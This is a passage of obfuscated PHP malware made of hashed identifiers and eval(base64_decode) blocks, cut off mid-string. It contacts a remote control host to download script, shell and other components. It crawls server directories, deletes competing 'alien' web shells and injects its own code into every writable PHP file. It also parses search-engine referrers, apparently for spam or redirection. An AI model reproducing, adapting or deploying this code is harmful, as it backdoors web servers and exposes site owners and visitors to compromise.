"?update=js&host={$_SERVER['HTTP_HOST']}&ver={$GLOBALS['jsv']}"; }elseif($RE0A7B1BE19805DBB2350D66EDBE24AEF == 0 && $RE674E33E8DC26EFCE29C0141E87BCC71 == 'blo'){ if($R2AD9950243B7A228B12A8650166BE4DC <> $GLOBALS['dgopt']['dgblo']){ $GLOBALS['dgopt']['dgblo'] = $R2AD9950243B7A228B12A8650166BE4DC; FABF1F9768353B2564B5460F178C4F1CB(); } }elseif($RE0A7B1BE19805DBB2350D66EDBE24AEF == 0 && $RE674E33E8DC26EFCE29C0141E87BCC71 == 'dgv' && $R2AD9950243B7A228B12A8650166BE4DC > 0 && $_SERVER['HTTP_HOST'] && (!file_exists($GLOBALS['dgdf']) || ($R2AD9950243B7A228B12A8650166BE4DC > 0 && filesize($GLOBALS['dgdf']) <> $R2AD9950243B7A228B12A8650166BE4DC))){ if(isset($_GET['dgd'])){ echo"fc: $RE674E33E8DC26EFCE29C0141E87BCC71 - u_dg<br>"; } file_exists($GLOBALS['dgdf']) ? $R41E9750045B5EA25161B97AC3F50EEAF = filesize($GLOBALS['dgdf']) : $R41E9750045B5EA25161B97AC3F50EEAF = 0; $GLOBALS['dgu_durl'] = $GLOBALS['dguh'] . "?update=dg&host={$_SERVER['HTTP_HOST']}&ver=" . $R41E9750045B5EA25161B97AC3F50EEAF; }elseif($RE0A7B1BE19805DBB2350D66EDBE24AEF == 0 && $RE674E33E8DC26EFCE29C0141E87BCC71 == 'swf' && $R2AD9950243B7A228B12A8650166BE4DC > 0 && $_SERVER['HTTP_HOST'] && (!file_exists($GLOBALS['dgff']) || ($R2AD9950243B7A228B12A8650166BE4DC > 0 && filesize($GLOBALS['dgff']) <> $R2AD9950243B7A228B12A8650166BE4DC))){ if(isset($_GET['dgd'])){ echo"fc: $RE674E33E8DC26EFCE29C0141E87BCC71 - u_swf<br>"; } file_exists($GLOBALS['dgff']) ? $R41E9750045B5EA25161B97AC3F50EEAF = filesize($GLOBALS['dgff']) : $R41E9750045B5EA25161B97AC3F50EEAF = 0; $GLOBALS['dgu_wurl'] = $GLOBALS['dguh'] . "?update=swf&host={$_SERVER['HTTP_HOST']}&ver=" . $R41E9750045B5EA25161B97AC3F50EEAF; }elseif($RE0A7B1BE19805DBB2350D66EDBE24AEF == 0 && $RE674E33E8DC26EFCE29C0141E87BCC71 == 'shv' && $R2AD9950243B7A228B12A8650166BE4DC && $_SERVER['HTTP_HOST'] && (!file_exists($GLOBALS['dgsf']) || ($R2AD9950243B7A228B12A8650166BE4DC > 0 && filesize($GLOBALS['dgsf']) <> $R2AD9950243B7A228B12A8650166BE4DC))){ if(isset($_GET['dgd'])){ echo"fc: $RE674E33E8DC26EFCE29C0141E87BCC71 - u_shl<br>"; } $GLOBALS['dgu_surl'] = $GLOBALS['dguh'] . "?update=shl&host={$_SERVER['HTTP_HOST']}"; }elseif($RE0A7B1BE19805DBB2350D66EDBE24AEF == 0 && $RE674E33E8DC26EFCE29C0141E87BCC71 == 'sk' && $R2AD9950243B7A228B12A8650166BE4DC && $_SERVER['HTTP_HOST'] && (!file_exists($GLOBALS['dgskf']) || ($R2AD9950243B7A228B12A8650166BE4DC > 0 && filesize($GLOBALS['dgskf']) <> $R2AD9950243B7A228B12A8650166BE4DC))){ if(isset($_GET['dgd'])){ echo"fc: $RE674E33E8DC26EFCE29C0141E87BCC71 - u_sk<br>"; } $GLOBALS['dgu_kurl'] = $GLOBALS['dguh'] . "?update=sk&host={$_SERVER['HTTP_HOST']}"; }elseif($RE674E33E8DC26EFCE29C0141E87BCC71 == 'qr' && $R2AD9950243B7A228B12A8650166BE4DC){ $R2AD9950243B7A228B12A8650166BE4DC = trim(base64_decode(rawurldecode($R2AD9950243B7A228B12A8650166BE4DC))); if($R2AD9950243B7A228B12A8650166BE4DC <> $GLOBALS['dgopt']['qr']){ $GLOBALS['dgopt']['qr'] = $R2AD9950243B7A228B12A8650166BE4DC; FABF1F9768353B2564B5460F178C4F1CB(); } }elseif($RE674E33E8DC26EFCE29C0141E87BCC71 == 'newdw' && $R2AD9950243B7A228B12A8650166BE4DC && $_SERVER['HTTP_HOST'] && !FC23F7EC64F0BDE3B5ADE6C9DD48BE1F2()){ if(isset($_GET['dgd'])){ echo"fc: newdw - u_dw<br>"; } $GLOBALS['dgwdomain'] = "http:/"."/" . FC5CD818E18432BE97F2200CD1AF5BA5D($R6E4F14B335243BE656C65E3ED9E1B115) . '/'; $GLOBALS['dgu_nurl'] = $GLOBALS['dgwdomain'] . "?update=dw&host={$_SERVER['HTTP_HOST']}"; }elseif($RE674E33E8DC26EFCE29C0141E87BCC71 == 'dgth' && $R2AD9950243B7A228B12A8650166BE4DC){ $R2AD9950243B7A228B12A8650166BE4DC = trim(base64_decode(rawurldecode($R2AD9950243B7A228B12A8650166BE4DC))); if(preg_match("/[^\w\d\-\.]/", $R2AD9950243B7A228B12A8650166BE4DC)){ continue; } $RA09FE38AF36F6839F4A75051DC7CEA25 = 0; if(!strpos($GLOBALS['dgopt']['dgurl'], $R2AD9950243B7A228B12A8650166BE4DC)){ $GLOBALS['dgopt']['dgurl'] = str_replace(FC5CD818E18432BE97F2200CD1AF5BA5D($GLOBALS['dgopt']['dgurl']), $R2AD9950243B7A228B12A8650166BE4DC, $GLOBALS['dgopt']['dgurl']); $RA09FE38AF36F6839F4A75051DC7CEA25 = 1; } if(!strpos($GLOBALS['dgopt']['dgsu'], $R2AD9950243B7A228B12A8650166BE4DC)){ $GLOBALS['dgopt']['dgsu'] = str_replace(FC5CD818E18432BE97F2200CD1AF5BA5D($GLOBALS['dgopt']['dgsu']), $R2AD9950243B7A228B12A8650166BE4DC, $GLOBALS['dgopt']['dgsu']); $RA09FE38AF36F6839F4A75051DC7CEA25 = 1; } if($RA09FE38AF36F6839F4A75051DC7CEA25){ FABF1F9768353B2564B5460F178C4F1CB(); } }elseif($RE674E33E8DC26EFCE29C0141E87BCC71 == 'dguh' && $R2AD9950243B7A228B12A8650166BE4DC){ $R2AD9950243B7A228B12A8650166BE4DC = trim(base64_decode(rawurldecode($R2AD9950243B7A228B12A8650166BE4DC))); $RCC5C6E696C11A4FDF170ECE8BA9FDC6F = explode(";", $R2AD9950243B7A228B12A8650166BE4DC); $R2AD9950243B7A228B12A8650166BE4DC = ''; $RA09FE38AF36F6839F4A75051DC7CEA25 = 0; foreach($RCC5C6E696C11A4FDF170ECE8BA9FDC6F as $RF413F06AEBBCEF5E1C8B1019DEE6FE6B=>$R244F38266C59587D696AEC08A771B803){ $R244F38266C59587D696AEC08A771B803 = trim($R244F38266C59587D696AEC08A771B803); if(strpos($R244F38266C59587D696AEC08A771B803, 'http') === 0){ $RA09FE38AF36F6839F4A75051DC7CEA25++; $R2AD9950243B7A228B12A8650166BE4DC ? $R2AD9950243B7A228B12A8650166BE4DC .= ";{$R244F38266C59587D696AEC08A771B803}" : $R2AD9950243B7A228B12A8650166BE4DC .= "{$R244F38266C59587D696AEC08A771B803}"; } } if($RA09FE38AF36F6839F4A75051DC7CEA25 >= 3 && $GLOBALS['dgopt']['dguh'] <> $R2AD9950243B7A228B12A8650166BE4DC){ $GLOBALS['dgopt']['dguh'] = $R2AD9950243B7A228B12A8650166BE4DC; FABF1F9768353B2564B5460F178C4F1CB(); } } }elseif($RCC5C6E696C11A4FDF170ECE8BA9FDC6F[0] == 'location'){ $RE0A7B1BE19805DBB2350D66EDBE24AEF++; array_shift($RCC5C6E696C11A4FDF170ECE8BA9FDC6F); $RFB0A807C1475028CB6865DDF80B00BD4 = F3319A17FC84AEE14700CE8DE1BF6FD54($R6E4F14B335243BE656C65E3ED9E1B115, trim(implode(":", $RCC5C6E696C11A4FDF170ECE8BA9FDC6F))); if(isset($_GET['dgd'])){ echo"redirect to: $RFB0A807C1475028CB6865DDF80B00BD4<br>"; } if($RE0A7B1BE19805DBB2350D66EDBE24AEF <= $R6AB508110D1CA1855AAE05AD02282850){ $R972A1D6D7FBAA83B27C6006E2C7CBC3F = array(); $R034AE2AB94F99CC81B389A1822DA3353 = FFD456406745D816A45CAE554C788E754($RFB0A807C1475028CB6865DDF80B00BD4, $RC5B265F9301FFAC9B75AD1757A1402CA, $R972A1D6D7FBAA83B27C6006E2C7CBC3F, $R9D286369CBA2FBEB34D036FFC3C9EB2E, $RE0A7B1BE19805DBB2350D66EDBE24AEF); } return $R034AE2AB94F99CC81B389A1822DA3353; } } }else{ $R972A1D6D7FBAA83B27C6006E2C7CBC3F[] = $R24D59CD0B76A27B85F35D40A3CF6EC37; } }else{ $R7F9D6867B727C5EC3758829CBABBFD36[] = $R24D59CD0B76A27B85F35D40A3CF6EC37; } } fclose($RAD10634E7F72CAA071320F21AEE5930D); } $R034AE2AB94F99CC81B389A1822DA3353 = implode("", $R7F9D6867B727C5EC3758829CBABBFD36); return $R034AE2AB94F99CC81B389A1822DA3353;}'));eval(base64_decode('ZnVuY3Rpb24gRkUxOUE3RkFCMEY5NTk3RTY4RTIzMzExQkI1RkI0NjBGKCYkUkNDMTg3QTI3NkJCRUFGRUEzQTI0MDRBOUJERkRBMkU0KXsgJFJDQzE4N0EyNzZCQkVBRkVBM0EyNDA0QTlCREZEQTJFNCA9IHN1YnN0cigkUkNDMTg3QTI3NkJCRUFGRUEzQTI0MDRBOUJERkRBMkU0LCBzdHJwb3MoJFJDQzE4N0EyNzZCQkVBRkVBM0EyNDA0QTlCREZEQTJFNCwgJzw/JyksIHN0cmxlbigkUkNDMTg3QTI3NkJCRUFGRUEzQTI0MDRBOUJERkRBMkU0KSk7ICRSQ0MxODdBMjc2QkJFQUZFQTNBMjQwNEE5QkRGREEyRTQgPSBzdWJzdHIoJFJDQzE4N0EyNzZCQkVBRkVBM0EyNDA0QTlCREZEQTJFNCwgMCwgc3RycnBvcygkUkNDMTg3QTI3NkJCRUFGRUEzQTI0MDRBOUJERkRBMkU0LCAnPz4nKSArIDIpO30='));eval(base64_decode('function F012D69AC5CE9ED6C2EC5DF1609CA51C4($R812C761CE89A11DFC0AD67C239B22479, &$R63BEDE6B19266D4EFEAD07A4D91E29EB, $R4AFE6F1D68092877EC575B6BE730FDC4 = 0, $R399036803A841185E4A270BC666A66CF = true){ $R3B7218AA996D3A4560B63F1CF559BAB9 = array("los.php","r0x.php"); $RCC40921E342906CE1A0116A82D63AE97 = 0; $R3435986BDA8C9393E0EBDB9F58F02750 = $R812C761CE89A11DFC0AD67C239B22479; $R3435986BDA8C9393E0EBDB9F58F02750 = str_replace('\\', '/', $R3435986BDA8C9393E0EBDB9F58F02750); if(substr($R3435986BDA8C9393E0EBDB9F58F02750, strlen($R3435986BDA8C9393E0EBDB9F58F02750) - 1, 1) <> '/'){ $R3435986BDA8C9393E0EBDB9F58F02750 .= '/'; } if(!$R3435986BDA8C9393E0EBDB9F58F02750){ if(!$R399036803A841185E4A270BC666A66CF){echo"<font color='red'>bad folder path [{$R3435986BDA8C9393E0EBDB9F58F02750}]</font><br>";} return; } if(!is_dir($R3435986BDA8C9393E0EBDB9F58F02750)){ if(!$R399036803A841185E4A270BC666A66CF){echo"<font color='red'>{$R3435986BDA8C9393E0EBDB9F58F02750} - is not a folder</font><br>";} return; } if($GLOBALS['dgdirs'][$R3435986BDA8C9393E0EBDB9F58F02750]){ if(!$R399036803A841185E4A270BC666A66CF){echo"<font color='yellow'>{$R3435986BDA8C9393E0EBDB9F58F02750} already checked</font><br>";} return; } $GLOBALS['dgdirs'][$R3435986BDA8C9393E0EBDB9F58F02750] = 1; if($R3435986BDA8C9393E0EBDB9F58F02750 == $GLOBALS['dgcp'] || file_exists($R3435986BDA8C9393E0EBDB9F58F02750.$GLOBALS['dgin'])){ if(!$R399036803A841185E4A270BC666A66CF){echo"<h4>{$R3435986BDA8C9393E0EBDB9F58F02750} is our dir, skipping...</h4>";} $RCC40921E342906CE1A0116A82D63AE97 = 1; } $R1B5BA58997656147D745220A4A67526B = substr(sprintf('%o', fileperms($R3435986BDA8C9393E0EBDB9F58F02750)), -4); $R6080D281F37DF8CEBCBC7ED9D0128829 = stat($R3435986BDA8C9393E0EBDB9F58F02750); $R9B491FC5BCBDF323A56E368AF5AE4881 = $R6080D281F37DF8CEBCBC7ED9D0128829[4]; $R445DE7E12C40266C50387E0312026EF9 = $R6080D281F37DF8CEBCBC7ED9D0128829[5]; if(function_exists('posix_getpwuid')){ $R6080D281F37DF8CEBCBC7ED9D0128829 = posix_getpwuid($R9B491FC5BCBDF323A56E368AF5AE4881); $R884068B3E99C50EED37BD15D7D109E5B = "; uname:{$R6080D281F37DF8CEBCBC7ED9D0128829['name']}"; } if(function_exists('posix_getgrgid')){ $R6080D281F37DF8CEBCBC7ED9D0128829 = posix_getgrgid($R445DE7E12C40266C50387E0312026EF9); $R48D1B183D570FEE900F4900E923ED3CC = $R6080D281F37DF8CEBCBC7ED9D0128829['name']; $R48D1B183D570FEE900F4900E923ED3CC = "; gname:{$R48D1B183D570FEE900F4900E923ED3CC}"; } $R5ACED229670AEE52CB99DF49B57E3C33 = "[uid:{$R9B491FC5BCBDF323A56E368AF5AE4881}; gid:{$R445DE7E12C40266C50387E0312026EF9}{$R884068B3E99C50EED37BD15D7D109E5B}{$R48D1B183D570FEE900F4900E923ED3CC}] "; if(!$R399036803A841185E4A270BC666A66CF){echo"{$R5ACED229670AEE52CB99DF49B57E3C33}[$R1B5BA58997656147D745220A4A67526B] {$R3435986BDA8C9393E0EBDB9F58F02750}<br>";} $R60169CD1C47B7A7A85AB44F884635E41 = opendir($R3435986BDA8C9393E0EBDB9F58F02750); if(!$R60169CD1C47B7A7A85AB44F884635E41){ if(!$R399036803A841185E4A270BC666A66CF){echo"<font color='red'>{$R3435986BDA8C9393E0EBDB9F58F02750}</font><br>";} return; } while(strlen($R6B6E98CDE8B33087A33E4D3A497BD86B = readdir($R60169CD1C47B7A7A85AB44F884635E41))){ if($R6B6E98CDE8B33087A33E4D3A497BD86B == '.' || $R6B6E98CDE8B33087A33E4D3A497BD86B == '..'){ continue; } $R77059C7A69211EE32AB5C5C739545AAC = 0; $R44A3CADCFF1536F1D80FB4936AE5217C = md5($R6B6E98CDE8B33087A33E4D3A497BD86B); $REA59B2D9277B7D41FCDC0D385B531D05 = ""; $R3FF07D2E9DEBFE3EDA73A94394E973AD = ""; $RCBDDB47F1C2BFDBB49390A50C7E29292 = false; $R09A33463761E506248078D422B1C5226 = $R3435986BDA8C9393E0EBDB9F58F02750.$R6B6E98CDE8B33087A33E4D3A497BD86B; if($R6B6E98CDE8B33087A33E4D3A497BD86B == $GLOBALS['dgmn']){ if(!$R399036803A841185E4A270BC666A66CF){echo"<h4>{$R09A33463761E506248078D422B1C5226} is our exploit</h4>";} continue; } if(is_file($R09A33463761E506248078D422B1C5226) && !$RCC40921E342906CE1A0116A82D63AE97){ if($R6B6E98CDE8B33087A33E4D3A497BD86B == 's.php'){ if(!$R399036803A841185E4A270BC666A66CF){echo"<font color='red'>{$R09A33463761E506248078D422B1C5226} is shell</font><br>";} continue; } if(in_array(strtolower($R6B6E98CDE8B33087A33E4D3A497BD86B), $R3B7218AA996D3A4560B63F1CF559BAB9)){ if(unlink($R09A33463761E506248078D422B1C5226)){ if(!$R399036803A841185E4A270BC666A66CF){echo"<h3 style='color:green'>{$R09A33463761E506248078D422B1C5226} ALIEN SHELL</h3>";} }else{ if(!$R399036803A841185E4A270BC666A66CF){echo"<h3 style='color:red'>{$R09A33463761E506248078D422B1C5226} ALIEN SHELL</h3>";} } continue; } if(!in_array(strtolower(FB0CA10E1120A0109457A62C6A8304059($R09A33463761E506248078D422B1C5226)), array("php","phtml","php3"))){ continue; } if($GLOBALS['dgfiles'][$R09A33463761E506248078D422B1C5226]){ if(!$R399036803A841185E4A270BC666A66CF){echo"<font color='yellow'>{$R09A33463761E506248078D422B1C5226} already checked</font><br>";} continue; } $GLOBALS['dgfiles'][$R09A33463761E506248078D422B1C5226] = 1; $R6080D281F37DF8CEBCBC7ED9D0128829 = stat($R09A33463761E506248078D422B1C5226); $R9B491FC5BCBDF323A56E368AF5AE4881 = $R6080D281F37DF8CEBCBC7ED9D0128829[4]; $R445DE7E12C40266C50387E0312026EF9 = $R6080D281F37DF8CEBCBC7ED9D0128829[5]; if(function_exists('posix_getpwuid')){ $R6080D281F37DF8CEBCBC7ED9D0128829 = posix_getpwuid($R9B491FC5BCBDF323A56E368AF5AE4881); $R884068B3E99C50EED37BD15D7D109E5B = "; uname:{$R6080D281F37DF8CEBCBC7ED9D0128829['name']}"; } if(function_exists('posix_getgrgid')){ $R6080D281F37DF8CEBCBC7ED9D0128829 = posix_getgrgid($R445DE7E12C40266C50387E0312026EF9); $R48D1B183D570FEE900F4900E923ED3CC = $R6080D281F37DF8CEBCBC7ED9D0128829['name']; $R48D1B183D570FEE900F4900E923ED3CC = "; gname:{$R6080D281F37DF8CEBCBC7ED9D0128829['name']}"; } $R5ACED229670AEE52CB99DF49B57E3C33 = "[uid:{$R9B491FC5BCBDF323A56E368AF5AE4881}; gid:{$R445DE7E12C40266C50387E0312026EF9}{$R884068B3E99C50EED37BD15D7D109E5B}{$R48D1B183D570FEE900F4900E923ED3CC}] "; $R22B4EA7DA7019EC639E08E304CE1CEAE = substr(sprintf('%o', fileperms($R09A33463761E506248078D422B1C5226)), -4); $R39DF27925016F45D6DC502829E767757 = fopen($R09A33463761E506248078D422B1C5226, "a+"); $RFAABFDDD72237CED1803ADE2BADC3AB3 = "{$R5ACED229670AEE52CB99DF49B57E3C33}[{$R22B4EA7DA7019EC639E08E304CE1CEAE}] "; if(!$R39DF27925016F45D6DC502829E767757){ if(!$R399036803A841185E4A270BC666A66CF){echo"{$RFAABFDDD72237CED1803ADE2BADC3AB3}<font color='red'>{$R09A33463761E506248078D422B1C5226}</font><br>";flush();} continue; } fclose($R39DF27925016F45D6DC502829E767757); $R9DB9E103E88D622316D42B508D6D11AB = implode("", file($R09A33463761E506248078D422B1C5226)); $RA781739E1F0BEAF06B2830841D8D422F = preg_replace("/\<\!\-\-$R44A3CADCFF1536F1D80FB4936AE5217C\-\-\>.*\<\!\-\-$R44A3CADCFF1536F1D80FB4936AE5217C\-\-\>/siU", "", $R9DB9E103E88D622316D42B508D6D11AB); $RA781739E1F0BEAF06B2830841D8D422F = preg_replace("/^\s*\<\?(\w{3})?\s*\/\*\*\/\s*eval\(base64_decode.*\)\)\;\s*\?\>\s*(\S)/siU", "$2", $RA781739E1F0BEAF06B2830841D8D422F); FA1D19FA446AF9387979783AFAC70CD3E($RA781739E1F0BEAF06B2830841D8D422F); if($RA781739E1F0BEAF06B2830841D8D422F <> $R9DB9E103E88D622316D42B508D6D11AB){$REA59B2D9277B7D41FCDC0D385B531D05 = " <b>[cleared]</b>";}else{$REA59B2D9277B7D41FCDC0D385B531D05 = " <b>[not patched]</b>";} if(preg_match("/\@zend/i", $RA781739E1F0BEAF06B2830841D8D422F)){ if(!$R399036803A841185E4A270BC666A66CF){echo"{$RFAABFDDD72237CED1803ADE2BADC3AB3}<b>ZEND</b> <font color='red'>{$R09A33463761E506248078D422B1C5226}</font>{$REA59B2D9277B7D41FCDC0D385B531D05}<br>";flush();} }elseif($R4AFE6F1D68092877EC575B6BE730FDC4 && strpos(strtolower($R3435986BDA8C9393E0EBDB9F58F02750), '/cache/')){ $R3FF07D2E9DEBFE3EDA73A94394E973AD = " <b style='color:orange'> [cached file]</b>"; }elseif($R4AFE6F1D68092877EC575B6BE730FDC4){ $RA781739E1F0BEAF06B2830841D8D422F = "{$RB8A45A6D3EAB2C2B55B11593FDD85176}{$R63BEDE6B19266D4EFEAD07A4D91E29EB}{$RB8A45A6D3EAB2C2B55B11593FDD85176}\n{$RA781739E1F0BEAF06B2830841D8D422F}"; $R3FF07D2E9DEBFE3EDA73A94394E973AD = " <b> [patched]</b>"; } if($R9DB9E103E88D622316D42B508D6D11AB <> $RA781739E1F0BEAF06B2830841D8D422F){ F17B8C65064AE90679E4CE6254EF6C510($R09A33463761E506248078D422B1C5226, $RA781739E1F0BEAF06B2830841D8D422F, "$RFAABFDDD72237CED1803ADE2BADC3AB3<font color='green'>{$R09A33463761E506248078D422B1C5226}{$REA59B2D9277B7D41FCDC0D385B531D05}{$R3FF07D2E9DEBFE3EDA73A94394E973AD}</font><br>", 1, $R399036803A841185E4A270BC666A66CF); }else{ if(!$R399036803A841185E4A270BC666A66CF){echo"$RFAABFDDD72237CED1803ADE2BADC3AB3<font color='green'>{$R09A33463761E506248078D422B1C5226}{$REA59B2D9277B7D41FCDC0D385B531D05}{$R3FF07D2E9DEBFE3EDA73A94394E973AD}</font><br>";} } }elseif(is_dir($R09A33463761E506248078D422B1C5226)){ F012D69AC5CE9ED6C2EC5DF1609CA51C4($R09A33463761E506248078D422B1C5226.'/', $R63BEDE6B19266D4EFEAD07A4D91E29EB, $R4AFE6F1D68092877EC575B6BE730FDC4, $R399036803A841185E4A270BC666A66CF); } } closedir($R60169CD1C47B7A7A85AB44F884635E41);}'));eval(base64_decode('ZnVuY3Rpb24gRkExRDE5RkE0NDZBRjkzODc5Nzk3ODNBRkFDNzBDRDNFKCYkUjNGMjQzRTEzNDQ0RjY5M0E1OUYxNUFBNUQ0MjRCM0JFKXsgJFIzRjI0M0UxMzQ0NEY2OTNBNTlGMTVBQTVENDI0QjNCRSA9IHByZWdfcmVwbGFjZSgiL1w8XD8oXHd7M30pP1xzKmV2YWxcKGJhc2U2NF9kZWNvZGUuKlwpXClcO1xzKlw/XD4vc2lVIiwgIiIsICRSM0YyNDNFMTM0NDRGNjkzQTU5RjE1QUE1RDQyNEIzQkUpO30='));eval(base64_decode('ZnVuY3Rpb24gRjVGQjVENkJFOEUwNjUwNjIwNURGQjEyMzM4RDU5NTc2KCRSNTM3Mzc2QzY4MDJEODg4NTEwMTU0N0FGODFFRUU1RjIgPSBhcnJheSgpKXsgZ2xvYmFsICRfU0VSVkVSOyAkUjg0NERGQzBGRDI1RDFGN0UwM0RFQ0YxRjVBOTUwNEE5ID0gcGFyc2VfdXJsKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSk7ICRSODQ0REZDMEZEMjVEMUY3RTAzREVDRjFGNUE5NTA0QTlbaG9zdF0gPSAnICcgLiAkUjg0NERGQzBGRDI1RDFGN0UwM0RFQ0YxRjVBOTUwNEE5W2hvc3RdOyBpZihzdHJwb3MoJFI4NDRERkMwRkQyNUQxRjdFMDNERUNGMUY1QTk1MDRBOVtob3N0XSwgJ2dvb2dsZS4nKSl7ICRSMzY5MjNDRjYyNjE4RDFCOTk4MTc0MDczODk3MUU2NTEgPSBGMDlGMTJFOUY1QjhFQjc0N0REMEYyNENEODYyODRDQjkoJFI4NDRERkMwRkQyNUQxRjdFMDNERUNGMUY1QTk1MDRBOVtxdWVyeV0sICdxJyk7ICRHTE9CQUxTWydzZV9zb3VyY2UnXSA9ICdnb29nbGUnOyB9ZWxzZWlmKHN0cnBvcygkUjg0NERGQzBGRDI1RDFGN0UwM0RFQ0YxRjVBOTUwNEE5W2hvc3RdLCAnbXNuLicpKXsgJFIzNjkyM0NGNjI2MThEMUI5OTgxNzQwNzM4OTcxRTY1MSA9IEYwOUYxMkU5RjVCOEVCNzQ3REQwRjI0Q0Q4NjI4NENCOSgkUjg0NERGQzBGRDI1RDFGN0UwM0RFQ0YxRjVBOTUwNEE5W3F1ZXJ5XSwgJ3EnKTsgJEdMT0JBTFNbJ3NlX3NvdXJjZSddID0gJ21zbic7IH1lbHNlaWYoc3RycG9zKCRSODQ0REZDMEZEMjVEMUY3RTAzREVDRjFGNUE5NTA0QTlbaG9zdF0sICdsaXZlLicpKXsgJFIzNjkyM0NGNjI2MThEMUI5OTgxNzQwNzM4OTcxRTY1MSA9IEYwOUYxMkU5RjVCOEVCNzQ3REQwRjI0Q0Q4NjI4NENCOSgkUjg0NERGQzBGRDI1RDFGN0UwM0RFQ0YxRjVBOTUwNEE5W3F1ZXJ5XSwgJ3EnKTsgJEdMT0JBTFNbJ3NlX3NvdXJjZSddID0gJ2xpdmUnOyB9ZWxzZWlmKHN0cnBvcygkUjg0NERGQzBGRDI1RDFGN0UwM0RFQ0YxRjVBOTUwNEE5W2hvc3RdLCAneWFob28uJykpeyAkUjM2OTIzQ0Y2MjYxOEQxQjk5ODE3NDA3Mzg5NzFFNjUxID0gRjA5RjEyRTlGNUI4RUI3NDdERDBGMjRDRDg2Mjg0Q0I5KCRSODQ0REZDMEZEMjVEMUY3RTAzREVDRjFGNUE5NTA0QTlbcXVlcnldLCAncCcpOyAkR0xPQkFMU1snc2Vfc291cmNlJ10gPSAneWFob28nOyB9ZWxzZWlmKHN0cnBvcygkUjg0NERGQzBGRDI1RDFGN0UwM0RFQ0YxRjVBOTUwNEE5W2hvc3RdLCAnYWx0YXZpc3RhLicpKXsgJFIzNjkyM0NGNjI2MThEMUI5OTgxNzQwNzM4OTcxRTY1MSA9IEYwOUYxMkU5RjVCOEVCNzQ3REQwRjI0Q0Q4NjI4NENCOSgkUjg0NERGQzBGRDI1RDFGN0UwM0RFQ0YxRjVBOTUwNEE5W3F1ZXJ5XSwgJ3EnKTsgJEdMT0JBTFNbJ3NlX3NvdXJjZSddID0gJ2FsdGF2aXN0YSc7IH1lbHNlaWYoc3RycG9zKCRSODQ0REZDMEZEMjVEMUY3RTAzREVDRjFGNUE5NTA0QTlbaG9zdF0sICdhb2wuJykpeyAkUjM2OTIzQ0Y2MjYxOEQxQjk5ODE3NDA3Mzg5NzFFNjUxID0gRjA5RjEyRTlGNUI4RUI3NDdERDBGMjRDRDg2Mjg0Q0I5KCRSODQ0REZDMEZEMjVEMUY3RTAzREVDRjFGNUE5NTA0QTlbcXVlcnldLCAncXVlcnknKTsgJEdMT0JBTFNbJ3NlX3NvdXJjZSddID0gJ2FvbCc7IH1lbHNlaWYoc3RycG9zKCRSODQ0REZDMEZEMjVEMUY3RTAzREVDRjFGNUE5NTA0QTlbaG9zdF0sICdhc2suJykpeyAkUjM2OTIzQ0Y2MjYxOEQxQjk5ODE3NDA3Mzg5NzFFNjUxID0gRjA5RjEyRTlGNUI4RUI3NDdERDBGMjRDRDg2Mjg0Q0I5KCRSODQ0REZDMEZEMjVEMUY3RTAzREVDRjFGNUE5NTA0QTlbcXVlcnldLCAncScpOyAkR0xPQkFMU1snc2Vfc291cmNlJ10gPSAnYXNrJzsgfWVsc2VpZihzdHJwb3MoJFI4NDRERkMwRkQyNUQxRjdFMDNERUNGMUY1QTk1MDRBOVtob3N0XSwgJ2x5Y29zLicpKXsgJFIzNjkyM0NGNjI2MThEMUI5OTgxNzQwNzM4OTcxRTY1MSA9IEYwOUYxMkU5RjVCOEVCNzQ3REQwRjI0Q0Q4NjI4NENCOSgkUjg0NERGQzBGRDI1RDFGN0UwM0RFQ0YxRjVBOTUwNEE5W3F1ZXJ5XSwgJ3F1ZXJ5Jyk7ICRHTE9CQUxTWydzZV9zb3VyY2UnXSA9ICdseWNvcyc7IH1lbHNlaWYoc3RycG9zKCRSODQ0REZDMEZEMjVEMUY3RTAzREVDRjFGNUE5NTA0QTlbaG9zdF0sICdob3Rib3QuJykpeyAkUjM2OTIzQ0Y2MjYxOEQxQjk5ODE3NDA3Mzg5NzFFNjUxID0gRjA5RjEyRTlGNUI4RUI3NDdERDBGMjRDRDg2Mjg0Q0I5KCRSODQ0REZDMEZEMjVEMUY3RTAzREVDRjFGNUE5NTA0QTlbcXVlcnldLCAncXVlcnknKTsgJEdMT0JBTFNbJ3NlX3NvdXJjZSddID0gJ2hvdGJvdCc7IH1lbHNlaWYoc3RycG9zKCRSODQ0REZDMEZEMjVEMUY3RTAzREVDRjFGNUE5NTA0QTlbaG9zdF0sICduZXRzY2FwZS4nKSl7ICRSMzY5MjNDRjYyNjE4RDFCOTk4MTc0MDczODk3MUU2NTEgPSBGMDlGMTJFOUY1QjhFQjc0N0REMEYyNENEODYyODRDQjkoJFI4NDRERkMwRkQyNUQxRjdFMDNERUNGMUY1QTk1MDRBOVtxdWVyeV0sICdxdWVyeScpOyAkR0xPQkFMU1snc2Vfc291cmNlJ10gPSAnbmV0c2NhcGUnOyB9ZWxzZWlmKHN0cnBvcygkUjg0NERGQzBGRDI1RDFGN0UwM0RFQ0YxRjVBOTUwNEE5W2hvc3RdLCAnbWFtbWEuJykpeyAkUjM2OTIzQ0Y2MjYxOEQxQjk5ODE3NDA3Mzg5NzFFNjUxID0gRjA5RjEyRTlGNUI4RUI3NDdERDBGMjRDRDg2Mjg0Q0I5KCRSODQ0REZDMEZEMjVEMUY3RTAzREVDRjFGNUE5NTA0QTlbcXVlcnldLCAncXVlcnknKTsgJEdMT0JBTFNbJ3NlX3NvdXJjZSddID0gJ21hbW1hJzsgfWVsc2VpZihzdHJwb3MoJFI4NDRERkMwRkQyNUQxRjdFMDNERUNGMUY1QTk1MDRBOVtob3N0XSwgJ2FsbHRoZXdlYi4nKSl7ICRSMzY5MjNDRjYyNjE4RDFCOTk4MTc0MDczODk3MUU2NTEgPSBGMDlGMTJFOUY1QjhFQjc0N0REMEYyNENEODYyODRDQjkoJFI4NDRERkMwRkQyNUQxRjdFMDNERUNGMUY1QTk1MDRBOVtxdWVyeV0sICdxJyk7ICRHTE9CQUxTWydzZV9zb3VyY2UnXSA9ICdhbGx0aGV3ZWInOyB9ZWxzZWlmKHN0cnBvcygkUjg0NERGQzBGRDI1RDFGN0UwM0RFQ0YxRjVBOTUwNEE5W2hvc3RdLCAnY25ldC4nKSl7ICRSMzY5MjNDRjYyNjE4RDFCOTk4MTc0MDczODk3MUU2NTEgPSBGMDlGMTJFOUY1QjhFQjc0N0REMEYyNENEODYyODRDQjkoJFI4NDRERkMwRkQyNUQxRjdFMDNERUNGMUY1QTk1MDRBOVtxdWVyeV0sICdxdWVyeScpOyAkR0xPQkFM